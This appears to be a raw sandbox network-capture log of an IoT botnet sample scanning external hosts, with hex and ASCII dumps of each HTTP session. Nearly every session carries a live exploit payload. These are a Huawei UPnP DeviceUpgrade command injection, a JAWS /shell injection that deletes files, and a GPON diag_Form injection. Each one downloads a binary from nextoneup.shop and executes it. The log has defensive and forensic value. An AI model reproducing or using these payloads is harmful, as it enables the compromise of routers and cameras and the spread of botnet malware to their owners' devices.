Apr 14, 2024 04:01:13.070131063 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1534	192.168.2.23	58654	35.208.102.84	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:13.526603937 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:13.745332003 CEST	339	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 14 Apr 2024 02:01:13 GMT Content-Type: text/plain Content-Length: 24 Connection: keep-alive Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Remote-Addr: 81.181.54.60 X-Default-Vhost: 1 Data Raw: 33 30 31 20 2d 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0a Data Ascii: 301 - Moved Permanently

Session ID	Source IP	Source Port	Destination IP	Destination Port
1535	192.168.2.23	45752	20.253.97.39	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:13.539247990 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:13.772229910 CEST	238	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sun, 14 Apr 2024 02:01:13 GMT Content-Type: application/octet-stream Content-Length: 19 Connection: keep-alive X-INVALIDATE-CACHE: 1 Data Raw: 73 65 72 76 69 63 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: service unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port
1536	192.168.2.23	55806	208.113.137.145	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:13.540167093 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1537	192.168.2.23	54226	149.81.214.144	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:13.620455027 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1538	192.168.2.23	33664	62.31.165.17	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:13.626718044 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:13.950776100 CEST	401	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 03:08:49 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 179 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 73 68 65 6c 6c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open document: /shell</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1539	192.168.2.23	44524	137.66.57.19	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:13.690949917 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1540	192.168.2.23	55826	208.113.137.145	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:13.758550882 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1541	192.168.2.23	49282	104.79.93.19	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.669718981 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.968724966 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:15 GMT Date: Sun, 14 Apr 2024 02:01:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 33 35 64 34 66 36 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 35 26 23 34 36 3b 31 62 34 62 31 63 32 66 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 33 35 64 34 66 36 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 35 26 23 34 36 3b 31 62 34 62 31 63 32 66 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.135d4f68.1713060075.1b4b1c2f<P>https://errors.edgesuite.net/9.135d4f68.1713060075.1b4b1c2f</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1542	192.168.2.23	45912	2.98.60.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.672075033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1543	192.168.2.23	46556	210.205.87.23	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.672132015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1544	192.168.2.23	56258	2.37.229.138	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.672179937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1545	192.168.2.23	34482	109.123.60.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.672209978 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1546	192.168.2.23	50350	109.44.157.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.672261000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1547	192.168.2.23	59974	79.182.179.218	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.672292948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1548	192.168.2.23	54274	23.223.170.241	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.888231039 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:16.107676983 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:16 GMT Date: Sun, 14 Apr 2024 02:01:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 65 31 66 64 37 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 36 26 23 34 36 3b 32 36 63 33 66 66 63 66 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 63 65 31 66 64 37 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 36 26 23 34 36 3b 32 36 63 33 66 66 63 66 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ce1fd717.1713060076.26c3ffcf<P>https://errors.edgesuite.net/9.ce1fd717.1713060076.26c3ffcf</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1549	192.168.2.23	50204	104.91.100.203	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.903465986 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:16.139866114 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:16 GMT Date: Sun, 14 Apr 2024 02:01:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 34 39 34 31 39 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 36 26 23 34 36 3b 33 33 38 31 63 62 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 65 34 39 34 31 39 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 36 26 23 34 36 3b 33 33 38 31 63 62 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.e49419b8.1713060076.3381cb6<P>https://errors.edgesuite.net/9.e49419b8.1713060076.3381cb6</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1550	192.168.2.23	43362	107.170.146.138	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.913184881 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:16.162725925 CEST	505	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:33 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 277 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1551	192.168.2.23	42690	116.58.188.194	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.952466965 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:16.235222101 CEST	614	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:16 GMT Server: Apache/2.2.6 (Turbolinux) Last-Modified: Mon, 23 Jan 2017 07:38:20 GMT ETag: "4006a9-127-15619300;15619300" Accept-Ranges: bytes Content-Length: 295 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 43 48 41 52 53 45 54 3d 69 73 6f 2d 32 30 32 32 2d 6a 70 22 3e 0a 3c 54 49 54 4c 45 3e 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 43 45 4e 54 45 52 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 42 52 3e 0a 3c 42 52 3e 0a 1b 24 42 24 34 3b 58 44 6a 24 4e 1b 28 42 55 52 4c 1b 24 42 24 4f 4c 35 38 7a 24 47 24 39 21 23 1b 28 42 0a 3c 2f 43 45 4e 54 45 52 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=iso-2022-jp"><TITLE></TITLE></HEAD><BODY><CENTER>The requested URL is unavailable.<BR><BR>$B$4;XDj$N(BURL$B$OL58z$G$9!#(B</CENTER></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1552	192.168.2.23	45012	54.74.14.25	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:16.213372946 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
